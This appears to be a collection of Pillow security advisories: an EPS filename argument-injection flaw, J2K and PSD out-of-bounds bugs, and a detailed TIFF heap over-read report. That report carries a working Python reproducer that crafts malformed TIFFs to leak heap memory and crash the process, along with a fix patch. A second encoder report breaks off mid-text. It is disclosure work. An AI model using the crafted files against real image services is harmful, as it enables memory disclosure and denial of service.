Why this is a Pillow bug (not the documented "block untrusted EPS" risk) This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.

Author Chanu Kang (from CysecLab at KAIST) @HLe4s

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

An issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2kugrayi.

1 / 4
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

An issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2kugrayala.

1 / 3
First published (updated )
Severity
8.9
EPSS
0.02%
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact An out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected.

Patches Pillow 12.1.1 will be released shortly with a fix for this.

Workarounds Image.open() has a formats parameter that can be used to prevent PSD images from being opened.

References Pillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
Buffer Overflow
AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================ OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels Location: src/libImaging/TiffDecode.c:483 in decodeTile() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.

The bug is in decodeTile() and decodeAsRGBA() in src/libImaging/TiffDecode.c. Both size their decode buffer from libtiff's view of the pixel layout (TIFFTileSize()/TIFFTileRowSize(), or img.width 4). They then unpack each row with the unpacker that TiffImagePlugin.setup() chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. decodeStrip() has exactly this check, added for OSS-Fuzz crash-0da0 in 8.2.0, but the tile and RGBA paths never got it.

The two parsers can be made to disagree with a duplicated PhotometricInterpretation or BitsPerSample tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.

The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).

The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in copy4 ← decodeTile (TiffDecode.c:483) in most runs, depending on what is mapped after the buffer.

Details

decodeTile() and decodeAsRGBA() in src/libImaging/TiffDecode.c size state->buffer from what libtiff says it will produce (TIFFTileSize(), resp. img.width 4), but unpack each row with the shuffler that TiffImagePlugin.setup() selected from Pillow's own parse of the IFD. Nothing in either function checks that the unpacker's input row (width state->bits / 8 bytes) fits inside the row libtiff wrote. decodeStrip() has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated PhotometricInterpretation/BitsPerSample/SamplesPerPixel entry (libtiff keeps the first occurrence, ImageFileDirectoryv2.load() the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (RGBX, RGB;16N, RGBA;16N, I;32, F;32F, …); RGBA;16N (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.

The ~400-byte TIFF tilecount2.tif generated by the reproducer — one 16x16 tile, BitsPerSample 8, SamplesPerPixel 1, Compression 8 (Adobe Deflate), and PhotometricInterpretation written as a SHORT with count 2 (6, 6) — is opened by Image.open() as mode RGB with libtiff rawmode RGBX, and load() succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under MALLOCPERTURB=85 and =170 yields identical rows 0–12 and different bytes in rows 13–15 (aa vs 55, i.e. glibc's fill pattern). Under an ASan build of the extensions the same load() reports heap-buffer-overflow READ of size 64 in copy4 (src/libImaging/Unpack.c:1290) called from src/libImaging/TiffDecode.c:483, against the 256-byte region allocated at TiffDecode.c:448. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in copy4 ← decodeTile reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).

Why the two parsers disagree

libtiff 4.5 rejects a PhotometricInterpretation entry whose count is not 1 (TIFFFetchNormalTag: Incorrect count for "PhotometricInterpretation"; tag ignored), so for this file TIFFGetField(tiff, TIFFTAGPHOTOMETRIC, …) returns 0 and libtiff treats the data as one 8-bit sample per pixel: TIFFTileSize() = 256, TIFFTileRowSize() = 16.

Pillow keeps the first value and carries on:

python src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectoryv2.setitem, reached from load()) try: (dest[tag],) = values except ValueError: # We've got a builtin tag with 1 expected entry warnings.warn(f"Metadata Warning, tag {tag} had too many entries: ...") dest[tag] = values[0]

so setup() sees photo == 6. OPENINFO[(II, 6, (1,), 1, (8,), ())] is ("L", "L"), and because the file is compressed the libtiff branch then overrides the rawmode:

python src/PIL/TiffImagePlugin.py:1578, 1600-1607 self.useloadlibtiff = READLIBTIFF or self.compression != "raw" … if photo == 6: self.mode = "RGB" if self.compression in "jpeg" and self.planarconfiguration == 1: rawmode = "RGB" else: rawmode = "RGBX"

RGBX is a 32-bit rawmode, so getunpacker() (src/decode.c:301-309) sets state->bits = 32 and state->shuffle = copy4. The intent of the photo == 6 override is that libtiff will deliver RGBA through TIFFRGBAImage, but that decision is made in C from libtiff's reading of the tag, which here is "not YCbCr":

c // src/libImaging/TiffDecode.c:737-764 TIFFGetField(tiff, TIFFTAGPHOTOMETRIC, &photometric); // unset -> stays 0 … readAsRGBA = photometric == PHOTOMETRICYCBCR; // 0 … if (TIFFIsTiled(tiff)) { decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4

The missing check

decodeTile() only guards against libtiff's tile being larger than what the unpacker expects, then allocates exactly TIFFTileSize() bytes and feeds rowbytesize-strided rows to the shuffler:

c // src/libImaging/TiffDecode.c:403-487 (decodeTile) tilebytessize = TIFFTileSize(tiff); // 256 … rowbytesize = TIFFTileRowSize(tiff); // 16 … if (tilebytessize > ((tilelength state->bits / planes + 7) / 8) tilewidth) { // 256 > 1024 is false -> no abort … } state->bytes = tilebytessize; newdata = realloc(state->buffer, state->bytes); // 256-byte buffer (line 448) … for (tiley = 0; tiley < currenttilelength; tiley++) { shuffler( // copy4: reads currenttilewidth4 = 64 bytes (UINT8 )im->image[tiley + y] + x im->pixelsize, state->buffer + tiley rowbytesize, // from offset 16tiley currenttilewidth );

Row tiley is read from [16·tiley, 16·tiley + 64); for tiley = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to (state->bits / libtiffbitsperpixel − 1) × rowbytesize bytes, and rowbytesize scales with the attacker-chosen TileWidth.

Note also that the existing one-sided check at line 434 multiplies the file-controlled tilewidth/tilelength (UINT32, accepted up to INTMAX at line 428) by state->bits in 32-bit unsigned arithmetic, so tilewidth state->bits wraps for tilewidth ≥ 2^32 / bits (2^26 for the 64-bit rawmodes, 2^27 for RGBX/I;32/F;32F). An 8 KB file declaring a 2,097,152×1 image with TILEWIDTH = 2^26+16, TILELENGTH = 1, 1-bit data for libtiff and RGBA;16N for Pillow makes libtiff allocate an ~8 MB tile from which unpackRGBA16L reads 16 MB, and the stock build SIGSEGVs in unpackRGBA16L ← decodeTile (TiffDecode.c:483); a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.

Compare the strip path, which refuses this situation (added for OSS-Fuzz crash-0da0 in 8.2.0):

c // src/libImaging/TiffDecode.c:528-548 (decodeStrip) unpackerrowbytesize = (state->xsize state->bits / planes + 7) / 8; … rowbytesize = TIFFScanlineSize(tiff); // if the unpacker calculated row size is > row byte size, (at least) the last // row of the strip will have a read buffer overflow. if (rowbytesize == 0 || unpackerrowbytesize > rowbytesize) { state->errcode = IMAGINGCODECBROKEN; return -1; }

The identical file written with one strip instead of one tile fails load() with OSError: decoder error -2 because of this check.

Same gap in decodeAsRGBA()

decodeAsRGBA() always produces img.width 4 bytes per row (TiffDecode.c:325, buffer allocated at line 339) and unpacks with state->shuffle (line 373) without looking at state->bits. It is reached when libtiff sees YCbCr while Pillow does not force RGBX. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's ImageFileDirectoryv2.load() overwrites (TiffImagePlugin.py:945, last wins). The reproducer's ycbcrdup.tif is a 16x16 Deflate strip with PhotometricInterpretation present twice (6, then 2) and BitsPerSample twice (8,8,8, then 16,16,16): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects RGB;16N (state->bits = 48), and unpackRGB16L reads 96 bytes per 64-byte row — ASan reports heap-buffer-overflow in unpackRGB16L (Unpack.c:609) from TiffDecode.c:373, past the 1024-byte region from TiffDecode.c:339.

The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample photo == 6 file only gets rawmode RGBX since the unreleased commit 155330d63 ("Do not open YCbCr colorspace images as RGB without libtiff (#9779)", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two PhotometricInterpretation entries (1 or 2, then 6) produces the same copy4 ← decodeTile over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps 6 and unpacks 4 (the reproducer's tiledup.tif). ycbcrdup.tif above reaches decodeAsRGBA() the same way.

Impact

Any application that calls Image.open() + load() (or thumbnail(), convert(), save(), …) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and TiffDecode.c without READLIBTIFF being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included — up to three libtiff tile rows past the buffer for the RGBX-over-8-bit case, with the tile row length (TileWidth) chosen by the attacker. state->buffer is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about (unpackerbpp / libtiffbpp − 1) tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized Imaging rows, so this is disclosure / crash, not memory corruption.

This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in TiffDecode.c); that fix and the later crash-0da0 fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a ("Check for dimensions and sizes to fit into int", 2021-01-25), which switched decodeTile() from a buffer sized by Pillow's unpacker to TIFFTileSize()/TIFFTileRowSize(); it is first in Pillow 8.2.0. The decodeAsRGBA() half dates from eb8c1206d6b1 ("Fix CVE-2020-35654 - OOB Write in TiffDecode.c"), first in 8.1.0.

Reproducing

Run repro (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.

The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and TiffDecode.c. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:

- tilecount2.tif: a 16x16, 1-sample, 8-bit tile with PhotometricInterpretation written as SHORT count 2, (6, 6). Pillow keeps 6 and unpacks with copy4 (RGBX, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased). - tiledup.tif: a 16x16, 3-sample, 8-bit tile with PhotometricInterpretation present twice, 2 then 6. libtiff keeps 2 (RGB, 3 bytes per pixel) and Pillow keeps 6 (RGBX, 4 bytes per pixel). This variant also applies to released versions. - ycbcrdup.tif: the 16x16 strip with BitsPerSample 8,8,8 then 16,16,16 and PhotometricInterpretation 6 then 2. libtiff decodes 8-bit YCbCr through decodeAsRGBA() (4 bytes per pixel), and Pillow unpacks RGB;16N with unpackRGB16L (6 bytes per pixel). - tilebig.tif: the tilecount2.tif layout with a single 65536x16 tile.

For each of the first three files, the script runs Image.open() + load() + tobytes() twice, once with MALLOCPERTURB=85 and once with =170. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the aa/55 fill bytes show up, along with heap pointer bytes. The script then decodes tilebig.tif and checks for a SIGSEGV (exit status -11). If gdb is available, it prints the top frames: copy4 (Unpack.c:1290) ← decodeTile (TiffDecode.c:483) ← ImagingLibTiffDecode. This crash depends on ASLR, so an occasional run may survive.

Each step prints which imaging build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is BUG if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is OK.

Suggested fix

The attached patch restores the decodeStrip() invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in src/libImaging/TiffDecode.c, at the point where each one sizes its buffer:

- decodeTile() computes unpackerrowbytesize = ((tsizet)tilewidth state->bits / planes + 7) / 8 (the tsizet cast keeps the product out of 32-bit arithmetic, so the TILEWIDTH = 2^26+16 case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing TIFFTileSize() sanity check, as decodeStrip() does for strips. After that check and before the realloc, it fails with IMAGINGCODECBROKEN when unpackerrowbytesize > rowbytesize (TIFFTileRowSize()). - decodeAsRGBA() fails with IMAGINGCODECBROKEN when state->bits > 32, because TIFFRGBAImage rows are always 32 bits per pixel. This check runs before TIFFRGBAImageBegin() and any allocation.

With the patch, the tile and RGBA files fail load() with OSError: decoder error -2, the same result the equivalent strip file already gets. The patch also adds a regression test to Tests/testfilelibtiff.py (testunpackerrowwiderthanlibtiffrow). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and Tests/testfiletiff.py, Tests/testfilelibtiff.py and Tests/testtiffcrashes.py pass.

These checks close the over-read however the two parsers are made to disagree. Separately, setup() could stop deriving the libtiff rawmode from tags that libtiff will read differently — e.g. treat a PhotometricInterpretation/BitsPerSample/Compression that is not a single well-typed value as "unknown pixel mode", the way ImageWidth/ImageLength are already required to be int at TiffImagePlugin.py:1473, or have ImageFileDirectoryv2.load() keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) — but that only narrows the ways to reach the C-side gap rather than removing it: TiffImagePlugin cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read.

The patch

Reject TIFFs whose unpacker row is wider than libtiff's decoded row in decodeTile() and decodeAsRGBA(), as decodeStrip() already does

Applies to src/libImaging/TiffDecode.c at the commit above.

diff diff --git a/Tests/testfilelibtiff.py b/Tests/testfilelibtiff.py index 3d804ea4a..c08dfe77c 100644 --- a/Tests/testfilelibtiff.py +++ b/Tests/testfilelibtiff.py @@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase): with pytest.raises(OSError, match="decoder error -9"): im.load() + @pytest.mark.parametrize( + "data", + ( + # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that + # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel) + # while libtiff ignores it and decodes 1 byte/pixel. + ( + b"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA" + b"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA" + b"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4" + b"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm" + b"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT" + b"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A" + b"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt" + b"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna" + b"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=" + ), + # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation + # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA) + # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel). + ( + b"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA" + b"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA" + b"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB" + b"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS" + b"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3" + b"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J" + b"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x" + b"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w" + b"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x" + b"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA" + b"EAAQAA==" + ), + ), + ) + @pytest.mark.filterwarnings("ignore:Metadata Warning") + def testunpackerrowwiderthanlibtiffrow(self, data: bytes) -> None: + # The unpacker chosen by Pillow reads more bytes per row than libtiff + # decoded, so the decoder must reject the image rather than read past + # the end of its buffer + with Image.open(io.BytesIO(base64.b64decode(data))) as im: + with pytest.raises(OSError, match="decoder error -2"): + im.load() + @pytest.mark.parametrize("compression", ("tiffadobedeflate", "jpeg")) def testsavemultistrip(self, compression: str, tmppath: Path) -> None: im = hopper("RGB").resize((256, 256)) diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..2ee6c5f0a 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -304,6 +304,15 @@ decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF tiff) { TRACE(("RowsPerBlock: %u \n", rowsperblock)); + // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel + // than that, (at least) the last row of the block will have a read buffer + // overflow. + if (state->bits > 32) { + TRACE(("Decode Error, unpacker bits %d > 32\n", state->bits)); + state->errcode = IMAGINGCODECBROKEN; + return -1; + } + if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) { TRACE(("Decode error, msg: %s", emsg)); state->errcode = IMAGINGCODECBROKEN; @@ -397,7 +406,7 @@ decodeTile( ) { INT32 x, y, tiley, currenttilelength, currenttilewidth; UINT32 tilewidth, tilelength; - tsizet tilebytessize, rowbytesize; + tsizet tilebytessize, rowbytesize, unpackerrowbytesize; UINT8 newdata; tilebytessize = TIFFTileSize(tiff); @@ -431,7 +440,8 @@ decodeTile( return -1; } - if (tilebytessize > ((tilelength state->bits / planes + 7) / 8) tilewidth) { + unpackerrowbytesize = ((tsizet)tilewidth state->bits / planes + 7) / 8; + if (tilebytessize > (unpackerrowbytesize tilelength)) { // If the tile size as expected by LibTiff isn't what we're expecting, abort. // man: TIFFTileSize returns the equivalent size for a tile of data as it // would be returned in a call to TIFFReadTile ... @@ -439,6 +449,13 @@ decodeTile( return -1; } + // if the unpacker calculated row size is > row byte size, (at least) the last + // row of the tile will have a read buffer overflow. + if (unpackerrowbytesize > rowbytesize) { + state->errcode = IMAGINGCODECBROKEN; + return -1; + } + state->bytes = tilebytessize; TRACE(("TIFFTileSize: %d\n", state->bytes));

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 4,178 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 Heap over-read in decodeTile()/decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build, no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's MALLOCPERTURB fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile SIGSEGVs in copy4 <- decodeTile. Runs in a few seconds. import os, shutil, struct, subprocess, sys, tempfile, zlib

W = tempfile.mkdtemp(); S, L = 3, 4

def tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order dataoff = 8 + 2 + 12 len(entries) + 4; extraoff = dataoff + len(data) ifd, extra = struct.pack("<H", len(entries)), b"" for tag, typ, vals in entries: if vals is None: typ, vals = L, [dataoff] raw = b"".join(struct.pack("<H" if typ == S else "<L", v) for v in vals) if len(raw) > 4: raw, extra = struct.pack("<L", extraoff + len(extra)), extra + raw ifd += struct.pack("<HHL", tag, typ, len(vals)) + raw.ljust(4, b"\0") return b"II\0" + struct.pack("<L", 8) + ifd + b"\0" 4 + data + extra

def tile(w, h, spp, photo): # one deflate tile, 8 bit/sample d = zlib.compress(bytes(i % 251 for i in range(w h spp))) return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] spp), (259, S, [8])] + photo + [(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d)

d = zlib.compress(bytes(range(256)) 3) files = { # Photometric count 2 (6,6): libtiff ignores tag -> 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only) "tilecount2.tif": tile(16, 16, 1, [(262, S, [6, 6])]), # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions) "tiledup.tif": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]), # strip, libtiff sees 8-bit YCbCr -> decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px "ycbcrdup.tif": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]), (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]), (530, S, [1, 1])], d), "tilebig.tif": tile(65536, 16, 1, [(262, S, [6, 6])]), } for n, b in files.items(): open(f"{W}/{n}", "wb").write(b)

LOAD = r""" import sys, warnings; warnings.simplefilter("ignore") from PIL import Image im = Image.open(sys.argv[1]); print(Image.core.file, im.mode, im.size, im.tile[0].args[0], file=sys.stderr) im.load(); sys.stdout.write(im.tobytes().hex()) """ def run(name, perturb): p = subprocess.run([sys.executable, "-c", LOAD, f"{W}/{name}"], captureoutput=True, text=True, env=dict(os.environ, MALLOCPERTURB=str(perturb))) return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [""]

leak = False for n in ("tilecount2.tif", "tiledup.tif", "ycbcrdup.tif"): r1, a, info = run(n, 85); r2, b, = run(n, 170) print(f"== {n}: {info[0]} rc={r1},{r2}") if r1 == 0 and r2 == 0 and a != b: i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2]) print(f" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:") print(f" PERTURB=85 : ...{a[i-8:i+40]}\n PERTURB=170: ...{b[i-8:i+40]}") leak = True else: print(" identical output / error -> no leak observed")

rc, , info = run("tilebig.tif", 0) print(f"== tilebig.tif: {info[0]} rc={rc}" + (" (SIGSEGV)" if rc == -11 else "")) crash = rc == -11 if crash and shutil.which("gdb"): bt = subprocess.run(["gdb", "-batch", "-ex", "run", "-ex", "bt 4", "--args", sys.executable, "-c", LOAD, f"{W}/tilebig.tif"], captureoutput=True, text=True).stdout print("\n".join(l for l in bt.splitlines() if l.startswith("#"))) shutil.rmtree(W) print(f"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}") print("BUG" if leak or crash else "OK") </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with 768 SHORT values: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.

Pillow's TIFF encoder allocates 768 × 2 = 1536 bytes, then passes three plane pointers separated by 256 SHORT entries to libtiff. With BitsPerSample = 16, libtiff instead expects 65536 SHORT values per plane and attempts a 131072-byte read from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in PyImagingLibTiffEncoderNew.

The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.

Impact and prerequisites

An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, not demonstrated by extracting arbitrary heap contents in this report. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.

The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.

Tested environment and limits of the evidence

The existing observations were recorded on August 30, 2026, with CPython 3.11.8 on macOS ARM64, using the unmodified official Pillow 12.3.0 wheel and its bundled libtiff 4.7.1:

- Wheel: pillow-12.3.0-cp311-cp311-macosx110arm64.whl - Wheel size: 4785266 bytes - Wheel SHA-256: 37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 - Pillow source revision: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d - Bundled libtiff SHA-256: e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1

Apple's ASAN runtime was injected at process startup. This is not an ASAN-rebuilt Pillow wheel; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.

Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is Unknown; no CVSS score is proposed.

Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. That was not a complete Pillow 8.0.1 installation and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.

Observed evidence and controls

The earlier integration harness performed the natural sequence Image.open(BytesIO(input)), image.load(), then image.save(BytesIO(), format="TIFF"), without replacing the image's metadata. Each case was recorded three times:

| Original fixture | Bytes | Recorded result | | --- | ---: | --- | | colormap16 | 1685 | Loaded as I;16; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). | | colormap8 | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). | | colormapabsent | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). |

Address-free summary of the recorded native diagnostic:

text AddressSanitizer: heap-buffer-overflow READ of size 131072 0 bytes after 1536-byte region Copy path: memcpy -> TIFFmemcpy -> setByteArray -> TIFFsetShortArrayExt -> TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField -> PyImagingLibTiffEncoderNew Allocation: calloc -> PyImagingLibTiffEncoderNew

Input SHA-256 values (also enforced inside the script):

